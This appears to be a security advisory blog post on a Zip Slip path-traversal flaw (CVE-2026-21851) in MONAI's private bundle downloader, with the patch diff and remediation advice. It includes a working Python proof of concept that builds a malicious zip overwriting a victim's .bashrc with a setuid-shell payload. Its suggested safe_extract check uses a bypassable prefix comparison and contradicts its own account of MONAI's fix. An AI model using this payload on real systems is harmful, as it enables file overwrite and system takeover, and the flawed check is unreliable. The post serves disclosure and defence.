Feb 25, 2026·6 min read·0 visits
MONAI versions prior to 1.6.0 contain a Zip Slip vulnerability in the private NGC bundle downloader. By tricking a user into downloading a malicious archive, an attacker can overwrite system files (like SSH keys or configuration files) to achieve RCE. Fixed in commit 4014c84.
A deep-dive technical analysis of a classic Zip Slip vulnerability found in MONAI (Medical Open Network for AI). This report dissects how a simple oversight in the `_download_from_ngc_private` function allowed attackers to overwrite arbitrary files on a researcher's system, turning a standard model download into potential Remote Code Execution (RCE).
In the world of medical AI, the stakes are usually high—patient data privacy, diagnostic accuracy, and regulatory compliance. But sometimes, the threat isn't a sophisticated state-sponsored actor trying to steal genomic data. Sometimes, it's just a developer in a hurry who forgot that the 1990s called and they want their vulnerability back.
Enter CVE-2026-21851. This isn't some complex heap feng shui exploit. It's Zip Slip—a vulnerability class so old it has whiskers. It was found in MONAI (Medical Open Network for AI), the de facto standard toolkit for healthcare imaging research. When you are building tools that analyze MRI scans to detect tumors, you generally want your software stack to be as sterile as an operating room. Unfortunately, the bundle management system had a dirty little secret.
The vulnerability resides in how MONAI handles "bundles"—pre-packaged AI models and workflows—downloaded from NVIDIA's NGC (GPU Cloud). Specifically, the private bundle downloader. It turns out that while the public downloader was wearing a hazmat suit, the private downloader was licking doorknobs. If you can convince a researcher to download your "state-of-the-art" model bundle, you can overwrite files anywhere on their disk.
Let's talk about Zip Slip. It is the cockroach of software vulnerabilities; just when you think you've fumigated it, it skitters out from under a fridge in a different library. The premise is simple: ZIP archives store file paths. Those paths are trusted implicitly by naive extraction libraries.
If I hand you a ZIP file containing a file named ../../../../tmp/pwned, and you unzip it to /home/user/monai/, a naive extractor will concatenate the paths. The operating system resolves .. (parent directory) and places the file at /tmp/pwned, completely escaping your intended target directory. This is Directory Traversal 101, applied to archive extraction.
Python's zipfile module is notorious for this. The documentation for ZipFile.extractall() explicitly warns: "Never extract archives from untrusted sources without prior inspection." It is a loaded gun sitting on the table. The developers of MONAI knew this—they actually had secure extraction logic elsewhere in the codebase. But in the _download_from_ngc_private function, they bypassed their own safety checks and reached directly for the dangerous primitive.
The vulnerability lived in monai/bundle/scripts.py. The function _download_from_ngc_private handles authenticated downloads from NVIDIA's GPU Cloud. Here is the smoking gun:
# The Vulnerable Code
def _download_from_ngc_private(...):
# ... [snip] authentication and download logic ...
# The fatal flaw:
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path) # <--- CRITICAL FAIL
logger.info(f"Writing into directory: {extract_path}.")That z.extractall(extract_path) is the end of the line. It performs zero validation on the members of the zip file. If the zip file says "put this in /root/.ssh/authorized_keys", Python obediently asks the OS to do it. If the script is running with sufficient privileges (which, let's be honest, in data science docker containers, is usually root), it's game over.
The fix, applied in commit 4014c8475626f20f158921ae0cf98ed259ae4d59, is almost insulting in its simplicity. They simply swapped the insecure call for a secure helper function they already had available:
# The Patched Code
- with zipfile.ZipFile(zip_path, "r") as z:
- z.extractall(extract_path)
- logger.info(f"Writing into directory: {extract_path}.")
+ _extract_zip(zip_path, extract_path)
+ logger.info(f"Writing into directory: {extract_path}.")The _extract_zip function uses safe_extract_member, which checks if the final resolved path of the file actually resides within the target directory using os.path.commonpath. It's a standard, boring, effective fix.
Exploiting this requires two things: a malicious zip file and a way to get the victim to download it. Since this vulnerability is in the private NGC downloader, you might think the attack surface is limited. However, "private" often just means "authenticated," not "trusted."
We need a script to generate a zip file that breaks out of the directory. Standard zip tools often sanitize these paths automatically, so we have to build it manually with Python:
import zipfile
import io
def create_poisoned_bundle():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
# The payload: Overwrite user's bashrc
# Target: ../../../../../../home/victim/.bashrc
payload = "\n# MONAI hacked you\ncp /bin/sh /tmp/sh; chmod +s /tmp/sh\n"
# We traverse up 6 levels to be safe, hoping to hit root
filename = "../../../../../../home/victim/.bashrc"
z.writestr(filename, payload)
with open("cool_medical_model.zip", "wb") as f:
f.write(buf.getvalue())
create_poisoned_bundle()The attacker uploads cool_medical_model.zip to an NGC repository they control or have compromised. They then send the bundle configuration to the victim: "Hey, check out this new tumor detection model, I put it on the private repo for testing."
The victim runs:
python -m monai.bundle download --name "cool_medical_model" --source "ngc_private"
MONAI authenticates, downloads the zip, and passes it to extractall(). The .bashrc file is overwritten. The next time the victim opens a terminal, the attacker's payload runs. In a CI/CD environment, this could overwrite a pipeline script, leading to supply chain compromise.
Why is the CVSS score only 5.3? The scoring metrics (CVSS v3.1) penalize the vulnerability for High Attack Complexity (AC:H) and User Interaction (UI:R). The logic is that you need credentials for a private NGC repo and you need to dupe a user.
Don't let the 5.3 fool you.
In the real world of AI research, these "complexities" are standard operating procedure. Teams share credentials. They download experimental bundles constantly.
.bash_profile, .ssh/authorized_keys, or dropping a cron job allows full system takeover.model.pt) with a backdoored version. Imagine a medical AI that is 99% accurate, except when it sees a specific trigger in an X-ray, causing it to misdiagnose. That's not just a security risk; that's a patient safety risk.Remediation is straightforward. If you are using MONAI, you need to update. The fix was implicitly released in version 1.6.0 (or any build after commit 4014c84).
If you are writing Python code that handles archives, stop using extractall() blindly. If you don't want to write your own path sanitizer, use a library like shutil.unpack_archive (usually safer, but verify) or copy the safe_extract logic used by MONAI:
def safe_extract(tar, path=".", members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not os.path.abspath(member_path).startswith(os.path.abspath(path)):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(path, members, numeric_owner=numeric_owner)(Note: The logic for Zip files is similar—verify the canonical path starts with the extraction root).
Scan your Python environments for the monai package. If it's < 1.6.0, break the build. Additionally, monitor file integrity for critical system files (/etc/passwd, ~/.ssh/) on data science workstations.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
monai Project-MONAI | <= 1.5.1 | 1.6.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-21851 |
| CWE ID | CWE-22 (Path Traversal) |
| CVSS Score | 5.3 (Medium) |
| Attack Vector | Network (with User Interaction) |
| Impact | Arbitrary File Write / RCE |
| EPSS Score | 0.00016 (Low) |
| Patch Status | Fixed in commit 4014c84 |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.